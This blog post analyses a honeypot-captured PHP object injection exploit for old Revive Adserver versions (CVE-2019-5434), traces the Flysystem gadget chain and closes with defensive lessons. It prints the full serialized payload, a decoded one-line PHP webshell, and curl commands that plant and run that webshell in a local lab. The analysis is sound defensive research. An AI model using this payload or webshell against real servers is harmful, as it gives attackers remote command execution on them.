Analysis of a PHP object injection exploit for Revive Adserver

Publisert av Harald Eilertsen
object injection php xml-rpc

Here the other day one of my honeypots caught and quarantined an interesting request. At least I thought it was interesting as I hadn't seen it before. So I decided to explore a bit further.

Before we begin, please note that this post analyzes an exploit for an older version of the Revive Adserver. The vulnerability this exploit targets was fixed more than five years ago. Only versions before 4.2.0 are vulnerable, so unless you are running a severely outdated version you don't need to worry about this exploit will not affect you.

With that out of the way, here's what was captured by the honeypot:

{
  "SERVER_NAME": "************.com",
  "REMOTE_ADDR": "***.**.**.***",
  "REMOTE_PORT": "42720",
  "REQUEST_METHOD": "POST",
  "REQUEST_URI": "/adxmlrpc.php",
  "QUERY_STRING": "",
  "REQUEST_TIME": 1721167378,
  "REQUEST_HEADERS": {
    "Content-Type": "application/x-www-form-urlencoded",
    "Accept-Encoding": "gzip",
    "Content-Length": "1403",
    "Connection": "close",
    "User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36",
    "Host": "***.**.***.***"
  },
  "COOKIES": [],
  "BODY": "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?> <methodCall> <methodName>openads.spc</methodName> <params> <param> <value> <struct> <member> <name>remote_addr</name> <value>8.8.8.8</value> </member> <member> <name>cookies</name> <value> <array> </array> </value> </member> </struct> </value> </param> <param><value><string>a:1:{S:4:\"what\";O:11:\"Pdp\\Uri\\Url\":1:{S:17:\"\\00Pdp\\5CUri\\5CUrl\\00host\";O:21:\"League\\Flysystem\\File\":2:{S:7:\"\\00*\\00path\";S:55:\"plugins/3rdPartyServers/ox3rdPartyServers/max.class.php\";S:13:\"\\00*\\00filesystem\";O:21:\"League\\Flysystem\\File\":2:{S:7:\"\\00*\\00path\";S:66:\"x://data:text/html;base64,PD9waHAgc3lzdGVtKCRfR0VUWyIwIl0pOyA/Pg==\";S:13:\"\\00*\\00filesystem\";O:29:\"League\\Flysystem\\MountManager\":2:{S:14:\"\\00*\\00filesystems\";a:1:{S:1:\"x\";O:27:\"League\\Flysystem\\Filesystem\":2:{S:10:\"\\00*\\00adapter\";O:30:\"League\\Flysystem\\Adapter\\Local\":1:{S:13:\"\\00*\\00pathPrefix\";S:0:\"\";}S:9:\"\\00*\\00config\";O:23:\"League\\Flysystem\\Config\":1:{S:11:\"\\00*\\00settings\";a:1:{S:15:\"disable_asserts\";b:1;}}}}S:10:\"\\00*\\00plugins\";a:1:{S:10:\"__toString\";O:34:\"League\\Flysystem\\Plugin\\ForcedCopy\":0:{}}}}}}}</string></value></param> <param><value><string>0</string></value></param> <param><value><string>dsad</string></value></param> <param><value><boolean>1</boolean></value></param> <param><value><boolean>0</boolean></value></param> <param><value><boolean>1</boolean></value></param> </params> </methodCall>"
}

The request as captured by my honeypot above. Server names and IP-addresses have been masked.

It's a POST request for the /adxmlrpc.php endpoint, which is just sligtly off from the usual WordPress /xmlrpc.php I'm normally seeing.

Anyways, it's a few other things to note in the request:

  • The Content-Type does not match the actual payload.
  • The Host header is the IP address of the receiving host, instead of it's domain name as you would normally expect.
  • The payload itself looks interesting.

The two first is probably just trivial bugs in the software on the sender side. Since most server software is pretty lenient about (or don't even check) the value of these headers, it's not too important. It's just one of many signs indicating that this may not a legitimate request.

So let's isolate the payload in the body of the request, and inspect it a bit closer (I have formatted the it somewhat for readability):

<?xml version="1.0" encoding="ISO-8859-1"?>
<methodCall>
  <methodName>openads.spc</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>remote_addr</name>
            <value>8.8.8.8</value>
          </member>
          <member>
            <name>cookies</name>
            <value>
              <array> </array>
            </value>
          </member>
        </struct>
      </value>
    </param>
    <param>
      <value>
        <string>a:1:{S:4:"what";O:11:"Pdp\Uri\Url":1:{S:17:"\00Pdp\5CUri\5CUrl\00host";O:21:"League\Flysystem\File":2:{S:7:"\00*\00path";S:55:"plugins/3rdPartyServers/ox3rdPartyServers/max.class.php";S:13:"\00*\00filesystem";O:21:"League\Flysystem\File":2:{S:7:"\00*\00path";S:66:"x://data:text/html;base64,PD9waHAgc3lzdGVtKCRfR0VUWyIwIl0pOyA/Pg==";S:13:"\00*\00filesystem";O:29:"League\Flysystem\MountManager":2:{S:14:"\00*\00filesystems";a:1:{S:1:"x";O:27:"League\Flysystem\Filesystem":2:{S:10:"\00*\00adapter";O:30:"League\Flysystem\Adapter\Local":1:{S:13:"\00*\00pathPrefix";S:0:"";}S:9:"\00*\00config";O:23:"League\Flysystem\Config":1:{S:11:"\00*\00settings";a:1:{S:15:"disable_asserts";b:1;}}}}S:10:"\00*\00plugins";a:1:{S:10:"__toString";O:34:"League\Flysystem\Plugin\ForcedCopy":0:{}}}}}}}</string>
      </value>
    </param>
    <param>
      <value>
        <string>0</string>
      </value>
    </param>
    <param>
      <value>
        <string>dsad</string>
      </value>
    </param>
    <param>
      <value>
        <boolean>1</boolean>
      </value>
    </param>
    <param>
      <value>
        <boolean>0</boolean>
      </value>
    </param>
    <param>
      <value>
        <boolean>1</boolean>
      </value>
    </param>
  </params>
</methodCall>

The interesting part is the second parameter, which looks suspiciously like an array serialized using the PHP serialize function. Use of this function and it's counterpart unserialize is discouraged, and we will soon see why this is the case. The remaining parameters does not look too interesting in themselves. They are probably included just to make the code processing the request accept it.

I'll get back to analyzing the serialized array, but for now notice that it seems to reference a number of namespaced classes:

  • Pdp\Uri\Url
  • League\Flysystem\File
  • League\Flysystem\Filesystem
  • League\Flysystem\MountManager
  • League\Flysystem\Adapter\Local
  • League\Flysystem\Config
  • League\Flysystem\Plugin\ForcedCopy

Apart from the Url class, they all belong in the League\Flysystem namespace, and suggest they are for manipulating files. These classes needs to be available for successfully deserializing the payload.

There's also a couple of other interesting strings that stand out:

  • plugins/3rdPartyServers/ox3rdPartyServers/max.class.php
  • PD9waHAgc3lzdGVtKCRfR0VUWyIwIl0pOyA/Pg==

The first looks like a file system path, possibly a file that already exists or will be created, in the file system of the target of the exploit.

The latter is a bas64 encoded string which decodes to a trivial PHP webshell:

$ echo "PD9waHAgc3lzdGVtKCRfR0VUWyIwIl0pOyA/Pg=="|base64 -d
<?php system($_GET["0"]); ?>

A rough initial analysis could therefore be that the intent of the request is to infect some software by placing this webshell into it's file structure.

But which software?

The targeted software

Searching a bit around the web, I came accross the Revive Adserver project, which seems to match. A quick look at the code confirmed that the captured request seems to target this software, and specifically the openads.spc XML-RPC handler.

Also its composer.json file lists jeremykendall/php-domain-parser (which contains the Pdp\Uri\Url class, and league/flysystem as dependencies for the project. This ensures that the classes that the payload depend on is available, so is can be successfully deserialized.

The good news is that this is a known issue that was fixed already in April 2019, and released as part of version 4.2.0 of the Revive Adserver. See their own security advisory, and also CVE-2019-5434.

In other words, nothing to worry about for anyone who keeps their software up to date![1]

We could leave it at that, but I thought it still would be interesting to further analyze the exploit. After all, my honeypot caught an attempt to exploit it, so there may still be unpatched and vulnerable systems out there. Even if that's not the case, the exploit looked intrigueing enough that it could be an interesting excercise to analyze how it works.

The code

To analyze the exploit, I checked out the commit just before the one where they fixed the issue. All the remaining code excerpts will relate to the code as it was at commit 3db7aa06d.

When Revive Adserver receives the openads.spc XML-RPC request, it is being processed by a function called OA_Delivery_XmlRpc_SPC found in lib/max/Delivery/XML-RPC.php[2]. There we find the following code:

445<?php
446 if (is_numeric($what)) {
447 $zones = OA_cacheGetPublisherZones($what);
448 $nz = false;
449 } else {
450 $zones = unserialize($what);
451 $nz = true;
452 }

The variable $what is the contents of the second parameter in the XML-RPC call. In line 450 we see that it indeed will be passed to the unserialize function if it's not numeric.

We have also determined that all the classes required to unserialize the payload successfully are available, so that means the first condition for the exploit to work is met.

We still need to figure out what it does, though, so let's inspect it a bit closer.

The payload

To make it easier to analyze, I have formatted it a bit, and trimmed away some (to us) irrelevant information:

[
    "what" => Pdp\Uri\Url {
        $host = League\Flysystem\File {
            $path = "plugins/3rdPartyServers/ox3rdPartyServers/max.class.php";
            $filesystem = League\Flysystem\File {
                $path = "x://data:text/html;base64,PD9waHAgc3lzdGVtKCRfR0VUWyIwIl0pOyA/Pg==";
                $filesystem = League\Flysystem\MountManager {
                    $filesystems = [
                        "x" => League\Flysystem\Filesystem {
                            $adapter = League\Flysystem\Adapter\Local {
                                $pathPrefix = "";
                            };
                            $config = League\Flysystem\Config {
                                $settings = ["disable_asserts" => true];
                            };
                        };
                    ];
                    $plugins = [
                        "__toString" => League\Flysystem\Plugin\ForcedCopy { }
                    ];
                }
            }
        }
    }
]

This makes it a bit clearer:

  • The payload is an array with one element indexed as "what", and it contains a Url object that holds a File object.
  • The File object has a $path and a $filesystem attribute.
    • The $path holds a string with a path name, while the $filesystem holds another File object.
  • The $path of the second file object is a data url with a prefix of x://.
  • The $filesystem if the second object is a MountManager object, that holds an array of file systems.
  • The $filesystems array of the MountManager object holds a FileSystem object indexed by x.
  • The FileSystem object has an $adapter and a $config attribute. These are probably significant for reading the base64 encoded webshell from the data url, but has not been analyzed in this post.
  • The MountManager also has a $plugins array holding a ForcedCopy object indexed by __toString. This satisfies the requirements to successfully unserialize the payload.

Once the payload has been deserialized, there needs to be a way to trigger it.

Triggering the exploit

There's one part of the payload above that stands out:

$plugins = [
    "__toString" => League\Flysystem\Plugin\ForcedCopy { }
];

The array index here is suspicious. __toString is one of the PHP "magic methods". That is methods that, if defined for a class, PHP will call on objects of that class in certain situations. The __toString method will be called whenever code wants to treat the object as a string.

This array is the contents of the $plugin member attribute of an object of the Legue\Flysystem\MountManager class. Looking at the code for this class we find somehing interesting:

161<?php
162 public function __call($method, $arguments)
163 {
164 list($prefix, $arguments) = $this->filterPrefix($arguments);
165
166 return $this->invokePluginOnFilesystem($method, $arguments, $prefix);
167 }

It implements another magic method, __call. This method is called by PHP when it is unable to find the function being called in the class for the object it's being called on. In this case, the MountManager will pass the method not found to the invokePluginOnFilesystem function:

268<?php
269 public function invokePluginOnFilesystem($method, $arguments, $prefix)
270 {
271 $filesystem = $this->getFilesystem($prefix);
272
273 try {
274 return $this->invokePlugin($method, $arguments, $filesystem);

This will again call the invokePlugin method, which is defined in PluggableTrait.php:

65<?php
66 protected function invokePlugin($method, array $arguments, FilesystemInterface $filesystem)
67 {
68 $plugin = $this->findPlugin($method);
69 $plugin->setFilesystem($filesystem);
70 $callback = [$plugin, 'handle'];
71
72 return call_user_func_array($callback, $arguments);
73 }

This will try to find a plugin with the name of the method being called, and invoke the handle method with the arguments that was passed in the method call.

In our case, the plugin was named the same as the PHP magic method __toString, and it contains an object of type League\Flysystem\Plugin\ForcedCopy. The handle method of this plugin looks like this:

28<?php
29 public function handle($path, $newpath)
30 {
31 try {
32 $deleted = $this->filesystem->delete($newpath);
33 } catch (FileNotFoundException $e) {
34 // The destination path does not exist. That's ok.
35 $deleted = true;
36 }
37
38 if ($deleted) {
39 return $this->filesystem->copy($path, $newpath);
40 }
41
42 return false;
43 }

It take two parameters, a $newpath and $path, and will delete the $newpath if it exists, before copying the file at $path to $newpath.

So for the exploit to work, it needs to be able to trigger the __toString method on the MountManager with the correct number and order of arguments.

Uncovering the call chain

The final piece of the puzzle is found in the Pdp\Uri\Url class. Remember that the serialized array in the payload contains an object of this class, which again contains a File object in it's $host member attribute. The Pdp\Uri\Url class implements the __toString magic method:

116<?php
117 public function __toString()
118 {
133 $host = $this->host->__toString();

We see that this again invokes the __toString method on the object in the $host member attribute. In the payload, this is a File object.

The File class does not implement __toString, but it extends the Handler class which implements the __call method:

171<?php
172 public function __call($method, array $arguments)
173 {
174 array_unshift($arguments, $this->path);
175 $callback = [$this->filesystem, $method];
176
177 try {
178 return call_user_func_array($callback, $arguments);

The first thing this does is to prepend its $path member attribute to the array of arguments passed to the original method call. Since the __toString method was invoked with no arguments, this makes the path of the current File object the only argument in the array so far.

Then it will try to invoke the method with the expanded argument array on the object held in it's $filesystem member attribute. Again, remember that this was just another File object, so we end up in the Handler::__call method again.

This time the $path member of the inner File object is prepended to the argument array which now already contains the path of the outer File object. This means our argument array now looks like this:

<?php
$arguments = [
    'x://data:text/html;base64,PD9waHAgc3lzdGVtKCRfR0VUWyIwIl0pOyA/Pg==',
    'plugins/3rdPartyServers/ox3rdPartyServers/max.class.php',
];

Again, the call will be attempted on the $filesystem member of the current object, which in this case is the MountManager object with the plugin we analyzed previously. The arguments will be assigned from the $arguments array, so the first file in the array will be copied to the second.

As the first "path" in the array is a data url, the base64 decoded content of the path itself will be read as the contents of the "file", and copied to the second path. Thus it is effectively possible to write arbitrary data to any file accessible to the server software.

So to set off the exploit, the Url::__toString method needs to be called from somewhere. This is done a bit further down in the XML-RPC handler we analyced towards the top of this post. Here it is again, but with a bit more context at the end:

454<?php
455 if (is_numeric($what)) {
456 $zones = OA_cacheGetPublisherZones($what);
457 $nz = false;
458 } else {
459 $zones = unserialize($what);
460 $nz = true;
461 }
462
463 $spc_output = array();
464 foreach ($zones as $zone => $data) {
467 if ($nz) {
468 $varname = $zone;
469 $zoneid = $data;
470 } else {
471 $varname = $zoneid = $zone;
472 }
473
478 $output = MAX_adSelect('zone:'.$zoneid, '', $target, $source, $withtext, '', $context, $richmedia, $ct0, $GLOBALS['loc'], $GLOBALS['referer']);

The array is split into it's index (as $varname) and content (as $zoneid).

In the call to MAX_adSelect in line 478, the Pdp\Uri\Url object (held in $zoneid) is appended to a string prefix using the PHP dot operator. This effectively converts it to a string by invoking the magic method __toString. This then triggers the full call chain of the exploit.

Now that we fully understand the exploit, we can try it to verify that it indeed works as expected.

Verifying the exploit

To verify the exploit I spun up a local container with the vulnerable version of the server using DDEV. Then simulated the XML-RPC call using curl:

$ curl --data-binary @poc.xml 'https://revive-adserver.ddev.site/adxmlrpc.php'
<?xml version="1.0" encoding="ISO-8859-1"?>
<methodResponse>
<params>
<param>
<value><struct>
<member><name>what</name>
<value><struct>
<member><name>html</name>
<value><string>&lt;div id='beacon_13a8e2cf09' style='position: absolute; left: 0px; top: 0px; visibility: hidden;'&gt;&lt;img src='https://revive-adserver.ddev.site/www/delivery/lg.php?bannerid=0&amp;amp;campaignid=0&amp;amp;zoneid=1&amp;amp;source=dsad&amp;amp;loc=https%3A%2F%2Frevive-adserver.ddev.site%2Fadxmlrpc.php&amp;amp;cb=13a8e2cf09' width='0' height='0' alt='' style='width: 0px; height: 0px;' /&gt;&lt;/div&gt;</string></value>
</member>
<member><name>bannerid</name>
<value><string></string></value>
</member>
</struct></value>
</member>
</struct></value>
</param>
</params>
</methodResponse>

Looks promising so far. At least I get a response that seems somewhat sensible. Notice that we can recognize some of the parameters from the XML-RPC cakk in the response.

From the server I check the contents of the file path named in the exploit:

$ cat plugins/3rdPartyServers/ox3rdPartyServers/max.class.php
<?php system($_GET["0"]); ?>

Back on the client, we can invoke the webshell by directly accessing the infected path:

$ curl 'https://revive-adserver.ddev.site/plugins/3rdPartyServers/ox3rdPartyServers/max.class.php?0=id'
uid=1000(www-user) gid=1000(www-user) groups=1000(www-user)

If this was a real installation, and the original request that prompted this investigation had been successful. The hackers would now have direct access to the infected server, and could use this access to install further malware, exfiltrate data or perform any other action the web server is authorized to do.

What can we learn from this?

The first thing to learn is of course to avoid using the serialize and unserialize functions in PHP. While they can seem handy for some use cases, they are too dangerous, and too easy to exploit. There are usually better—and safer—ways to achieve the intended results. Serializing to and from JSON is well supported in PHP, and does not have the same risks.

In the fix for this issue, the developers opted for using the http_build_query and parse_str functions instead. Used incorrectly the parse_str function also have its issues, but the fixed code uses it properly with an array to retreive the parsed values.

So while the serialize/unserialize functions opens the code for object injection vulnerabilities, there's a number of things that could have made it harder to piece together an exploit of this kind.

Revive Adserver (still) uses an old and obsolete version (1.0) of the League\Flysystem library.

The mechanism by which this exploit works relies on this version not having any protections in place to check that a plugin is called via it's intended method name, and that it liberally allows calling plugins via the __call magic method.

Overriding magic methods is a powerful way of integrating your classes into PHP, but as this example shows, it can also be a source of security issues. Great care is needed to ensure that your magic method overrides are safe.

Neither the Pdp\Uri\Url class, nor the League\Flysystem classes declare the expected types for their properties. This is another helpful tool that would have prevented this particular payload to succeed.

The Pdp\Uri\Url class expects the $host attribute to be an object of the type Pdp\Uri\Url\Host, but instead the payload injects a League\Flysystem\File there. Further the File object has another File object as its $filesystem attribute, while the code expects it to be a class that implements the League\Flysystem\FilesystemInterface. The File class does not.

Using type declarations these type errors would have been detected, and the attempt to unserialize the payload would have failed.

All in all, the lack of safeguards in the dependencies made it relatively easy for the attackers to find the gatdgets they needed to make a payload to exploit the vulnerability in CVE-2019-5434.

Support my work!

If you would like to support my work analyzing exploits and auditing open source projects for vulnerabilities, you can do so by donating any amount you feel like via stripe or Liberapay using the buttons below.

I'm also available for hire!

Send me an email, or contact me on the fediverse, and let me know what I can do for you.


  1. I also found traces of a previous (and abandoned?) incarnation of the project called OpenX, which still contains the vulnerable code (but not all the required dependencies). I will not analyze that version any further in this post.

  2. The actual code processing the request is found in www/delivery/axmlrpc.php which is generated by combining a number of source files and mess with the formatting. It's easier to relate to the actual source file, so that's what I'll do in this post.